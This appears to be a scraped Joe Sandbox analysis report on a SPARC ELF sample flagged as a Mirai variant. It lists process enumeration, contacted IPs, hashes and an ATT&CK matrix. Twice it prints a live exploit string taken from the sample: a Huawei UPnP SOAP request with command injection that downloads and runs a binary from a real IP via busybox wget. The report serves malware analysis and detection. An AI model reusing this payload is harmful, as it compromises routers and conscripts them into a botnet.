Source: 6215.1.00007fca5c011000.00007fca5c020000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27

Source: Initial sample	String containing 'busybox' found: (<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /nabmips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: (<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /nabmips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/12/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/13/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/14/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/15/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/16/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/17/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/18/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/120/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/121/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/122/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/243/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/123/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/2/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/124/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/3/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/4/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/125/maps	Jump to behavior
Source: /tmp/UJA4UUHlPP.elf (PID: 6219)	File opened: /proc/125/cmdline	Jump to behavior

Source: UJA4UUHlPP.elf, 6215.1.0000562914479000.00005629144fe000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: UJA4UUHlPP.elf, 6215.1.00007fffb0fa2000.00007fffb0fc3000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/UJA4UUHlPP.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/UJA4UUHlPP.elf
Source: UJA4UUHlPP.elf, 6215.1.00007fffb0fa2000.00007fffb0fc3000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc
Source: UJA4UUHlPP.elf, 6215.1.0000562914479000.00005629144fe000.rw-.sdmp	Binary or memory string: )V!/etc/qemu-binfmt/sparc

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	UJA4UUHlPP.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	UJA4UUHlPP.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
221.17.107.222	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
8.89.57.127	unknown	United States	3356	LEVEL3US	false
13.128.131.23	unknown	United States	7018	ATT-INTERNET4US	false
197.222.170.147	unknown	Egypt	37069	MOBINILEG	false
177.249.36.29	unknown	Mexico	16960	CablevisionRedSAdeCVMX	false
41.198.207.236	unknown	South Africa	327693	ECHO-SPZA	false
200.98.219.235	unknown	Brazil	18479	UniversoOnlineSABR	false
143.204.223.69	unknown	United States	16509	AMAZON-02US	false
41.227.18.85	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
223.36.203.196	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
1.243.203.59	unknown	Korea Republic of	38415	GOEGN-AS-KRGuriNamyangjuOfficeOfEducationKR	false
187.206.32.208	unknown	Mexico	8151	UninetSAdeCVMX	false
157.186.91.151	unknown	Russian Federation	22192	SSHENETUS	false
188.137.111.99	unknown	Poland	13000	LEON-ASPL	false
208.165.139.93	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
195.55.237.231	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
157.254.111.9	unknown	United States	21949	BEANFIELDCA	false
209.28.241.88	unknown	United States	3300	BTNL	false
140.19.186.239	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
24.93.206.15	unknown	United States	10796	TWC-10796-MIDWESTUS	false
52.94.132.16	unknown	United States	16509	AMAZON-02US	false
41.143.104.42	unknown	Morocco	36903	MT-MPLSMA	false
193.18.39.94	unknown	Germany	41099	GLOBALREACHGB	false
98.45.237.226	unknown	United States	7922	COMCAST-7922US	false
107.141.27.43	unknown	United States	7018	ATT-INTERNET4US	false
41.122.114.233	unknown	South Africa	16637	MTNNS-ASZA	false
105.94.59.181	unknown	Egypt	36992	ETISALAT-MISREG	false
193.163.154.117	unknown	Denmark	1935	FR-RENATER-LIMOUSINReseauRegionalLimousinEU	false
153.159.228.72	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
174.8.162.13	unknown	United States	6327	SHAWCA	false
179.44.30.132	unknown	Venezuela	22927	TelefonicadeArgentinaAR	false
202.110.120.58	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
183.150.217.247	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
175.170.137.65	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.229.130.38	unknown	United States	122	UPMC-AS122US	false
178.39.138.2	unknown	Switzerland	6730	SUNRISECH	false
145.130.22.129	unknown	Netherlands	1136	KPNKPNNationalEU	false
90.169.121.99	unknown	Spain	12479	UNI2-ASES	false
18.2.148.94	unknown	United States	10578	GIGAPOP-NEUS	false
188.101.131.12	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
111.158.249.143	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
116.193.235.30	unknown	Japan	55381	CCSNETCITY-CABLESHUNANCorporationJP	false
205.216.162.100	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
157.249.142.126	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
65.190.239.13	unknown	United States	11426	TWC-11426-CAROLINASUS	false
217.73.230.160	unknown	Italy	31034	ARUBA-ASNIT	false
165.246.32.206	unknown	Korea Republic of	9317	ITISNET-ASINHAUNIVERSITYKR	false
101.163.182.108	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
48.169.33.92	unknown	United States	2686	ATGS-MMD-ASUS	false
211.120.90.186	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
196.40.139.153	unknown	unknown	36974	AFNET-ASCI	false
157.229.130.31	unknown	United States	122	UPMC-AS122US	false
41.108.83.50	unknown	Algeria	36947	ALGTEL-ASDZ	false
44.255.221.179	unknown	United States	16509	AMAZON-02US	false
68.79.41.14	unknown	China	135629	WESTCLOUDDATANingxiaWestCloudDataTechnologyCoLtdCN	false
197.92.49.9	unknown	South Africa	10474	OPTINETZA	false
102.102.61.34	unknown	Morocco	36925	ASMediMA	false
60.132.89.49	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
168.30.233.66	unknown	United States	3479	PEACHNET-AS1US	false
41.178.243.116	unknown	Egypt	24863	LINKdotNET-ASEG	false
64.119.231.167	unknown	United States	35900	DIGI-BDS-ASNBB	false
154.78.55.33	unknown	Kenya	36926	CKL1-ASNKE	false
166.40.248.4	unknown	United States	3372	MCI-ASNUS	false
162.35.203.182	unknown	United States	11363	FUJITSU-USAUS	false
189.186.36.33	unknown	Mexico	8151	UninetSAdeCVMX	false
18.52.247.102	unknown	United States	3	MIT-GATEWAYSUS	false
67.247.153.204	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
149.139.122.138	unknown	Italy	137	ASGARRConsortiumGARREU	false
12.133.235.6	unknown	United States	7018	ATT-INTERNET4US	false
163.211.87.180	unknown	Japan	17512	JALJapanAirlinesInternationalCoLtdJP	false
14.22.222.91	unknown	China	58466	CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN	false
18.76.45.196	unknown	United States	3	MIT-GATEWAYSUS	false
112.6.209.206	unknown	China	24444	CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	false
103.30.88.254	unknown	Indonesia	18103	NEUVIZ-AS-ID-APNeuvizNetID	false
197.55.34.209	unknown	Egypt	8452	TE-ASTE-ASEG	false
104.119.246.106	unknown	United States	16625	AKAMAI-ASUS	false
20.116.102.213	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
116.215.125.105	unknown	China	24506	YAHOO-TP2YAHOOTAIWANTW	false
153.146.189.18	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
41.122.114.205	unknown	South Africa	16637	MTNNS-ASZA	false
45.48.169.33	unknown	United States	20001	TWC-20001-PACWESTUS	false
203.209.185.73	unknown	Japan	9621	II-OKINAWAOkinawaTelecommunicationNetworkCoIncJP	false
142.34.24.47	unknown	Canada	27272	Q9-AS-CAL3CA	false
25.130.169.239	unknown	United Kingdom	7922	COMCAST-7922US	false
218.239.130.33	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
62.235.224.25	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
190.99.62.103	unknown	El Salvador	27773	MILLICOMCABLEELSALVADORSADECVSV	false
223.115.106.227	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
122.162.33.136	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
91.15.171.196	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
4.251.198.198	unknown	United States	3356	LEVEL3US	false
197.16.236.28	unknown	Tunisia	37693	TUNISIANATN	false
197.82.246.79	unknown	South Africa	10474	OPTINETZA	false
201.17.245.124	unknown	Brazil	28573	CLAROSABR	false
197.116.212.231	unknown	Algeria	36947	ALGTEL-ASDZ	false
118.248.146.217	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
187.46.78.58	unknown	Brazil	26615	TIMSABR	false
161.191.74.103	unknown	United States	13474	BancodeGaliciayBuenosAiresAR	false
103.44.141.75	unknown	India	133713	SWIFTNETBROADBAND-ASSWIFTNETBROADBANDPRIVATELIMITEDIN	false
176.237.112.140	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Link
41.227.18.85	x86	Get hash	malicious	Browse
197.222.170.147	bk.mpsl-20220929-1805.elf	Get hash	malicious	Browse
	uQilbFqfZL	Get hash	malicious	Browse
	y34sa85gEt	Get hash	malicious	Browse
	BtYdouWVVt	Get hash	malicious	Browse
	KV5avML4Qu	Get hash	malicious	Browse
	arm	Get hash	malicious	Browse
41.198.207.236	x86	Get hash	malicious	Browse
200.98.219.235	z9JDklwHSk.elf	Get hash	malicious	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
infectedchink.cat	7ocb65D6ME.elf	Get hash	malicious	Browse	185.254.37.236
infectedchink.cat	0PcgS35zU6.elf	Get hash	malicious	Browse	138.68.65.48

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GIGAINFRASoftbankBBCorpJP	sx1qjP7IrU.elf	Get hash	malicious	Browse	126.103.54.46
	sAchsbrVaX.elf	Get hash	malicious	Browse	219.55.65.177
	x86.elf	Get hash	malicious	Browse	126.11.178.133
	8wtth5HzS2.elf	Get hash	malicious	Browse	219.15.6.94
	7yKvHvL7Jf.elf	Get hash	malicious	Browse	60.143.23.128
	NxuugLPKGx.elf	Get hash	malicious	Browse	61.213.15.98
	ONKp7JSC5S.elf	Get hash	malicious	Browse	126.158.193.190
	B2EfeWrsWO.elf	Get hash	malicious	Browse	126.249.149.98
	i0ULkIoV53.elf	Get hash	malicious	Browse	60.144.49.188
	UvS6yjCoLC.elf	Get hash	malicious	Browse	220.23.150.154
	adu0N4xIdb.elf	Get hash	malicious	Browse	219.9.60.133
	0XT6CqezRt.elf	Get hash	malicious	Browse	126.165.59.119
	mie2BFMllo.elf	Get hash	malicious	Browse	218.115.6.81
	xRnnSMCc9B.elf	Get hash	malicious	Browse	126.171.245.133
	xzyLHV0rQJ.elf	Get hash	malicious	Browse	221.31.84.251
	Wv5Lg653LX.elf	Get hash	malicious	Browse	220.4.125.12
	WA5LQ3AIY2.elf	Get hash	malicious	Browse	126.27.143.0
	x86.elf	Get hash	malicious	Browse	126.254.60.95
	BxgI0_95sBrYurn-nQMeZt3YnWG5c91oDH6ag2LBVG4.bin.dll	Get hash	malicious	Browse	219.209.113.117
	BxgI0_95sBrYurn-nQMeZt3YnWG5c91oDH6ag2LBVG4.bin.dll	Get hash	malicious	Browse	219.209.113.117

Process:	/tmp/UJA4UUHlPP.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	275
Entropy (8bit):	3.5768998409012314
Encrypted:	false
SSDEEP:	6:M5DDFY2J8IBgY/V7DFY2JHHz/VfKoO/VNfiY/VH:Mpau8Idaunal
MD5:	6B3BC78E77163A6FB18719DA453AF2A9
SHA1:	9FB25EEE20DC04EF3C523D139DC282CFBEE951BB
SHA-256:	FF084CBE6B40317029F4DE4A6527D5E1DCDD8167B10F8CE1728990B1C48B89C4
SHA-512:	9C40C886347A45CF826A27CAE396676DACDCF6347C1040E116D31BDE255771C1709D278DE3E0B91BEAC4EFA2AB6DCBF0D71E9BC7617A35AD5BDE1D0FDDAA3EC1
Malicious:	false
Reputation:	low
Preview:	10000-1f000 r-xp 00000000 fd:00 531606 /tmp/UJA4UUHlPP.elf.2e000-2f000 rw-p 0000e000 fd:00 531606 /tmp/UJA4UUHlPP.elf.2f000-30000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.090258385059137
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	UJA4UUHlPP.elf
File size:	60612
MD5:	436bcfa743187b961b9c20cf8a9bd394
SHA1:	8240908c098cc670b7d513304b301643c9f6000d
SHA256:	53a6f71a09283c47eca762b63fc5b5275dcee1d313a828461c146ed4429f4438
SHA512:	f3ec442df72ae6bc17751d7ac6d88d9b06e869daee377e84548f85083b6b1e03f3ff74e87b7f78fc837724834060546a86650d347ce3a503ed432c427552e24d
SSDEEP:	768:REko1pq9dgI8f8K5MUDICrmsqSIycUKQM0nUQSO+owS+P:REkKSdgI8f8K5MUDICrmsdeUNUQQ40
TLSH:	EA435B22AD792E1BC0D4B47A21F74324B2F6574E25A8C72E7C720E4EFF5564062236F9
File Content Preview:	.ELF...........................4.........4. ...(....................................................................dt.Q................................@..(....@.6.................#.....b...`.....!..... ...@.....".........`......$ ... ...@...........`....

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report UJA4UUHlPP.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.01WVkq (deleted)

/tmp/qemu-open.06SVEr (deleted)

/tmp/qemu-open.07DxMr (deleted)

/tmp/qemu-open.083RRp (deleted)

/tmp/qemu-open.08aCKq (deleted)

/tmp/qemu-open.0QYqct (deleted)

/tmp/qemu-open.0b5t6s (deleted)

/tmp/qemu-open.0uXcNr (deleted)

/tmp/qemu-open.14b88t (deleted)

/tmp/qemu-open.1D4icu (deleted)

/tmp/qemu-open.1P0BOs (deleted)

/tmp/qemu-open.1PN9Uq (deleted)

/tmp/qemu-open.1VMXZs (deleted)

/tmp/qemu-open.1WIgyt (deleted)

/tmp/qemu-open.1bNLRp (deleted)

/tmp/qemu-open.1cUhPp (deleted)

/tmp/qemu-open.1equfu (deleted)

/tmp/qemu-open.1o4Zys (deleted)

/tmp/qemu-open.1wMVNp (deleted)

/tmp/qemu-open.1wSKUq (deleted)

/tmp/qemu-open.20WV2p (deleted)

/tmp/qemu-open.2KulLq (deleted)

/tmp/qemu-open.2QSANy (deleted)

/tmp/qemu-open.2VX3lq (deleted)

/tmp/qemu-open.2fHGnr (deleted)

/tmp/qemu-open.2qKXJt (deleted)

/tmp/qemu-open.2vfrIs (deleted)

/tmp/qemu-open.3BfF6p (deleted)

Linux Analysis Report
UJA4UUHlPP.elf

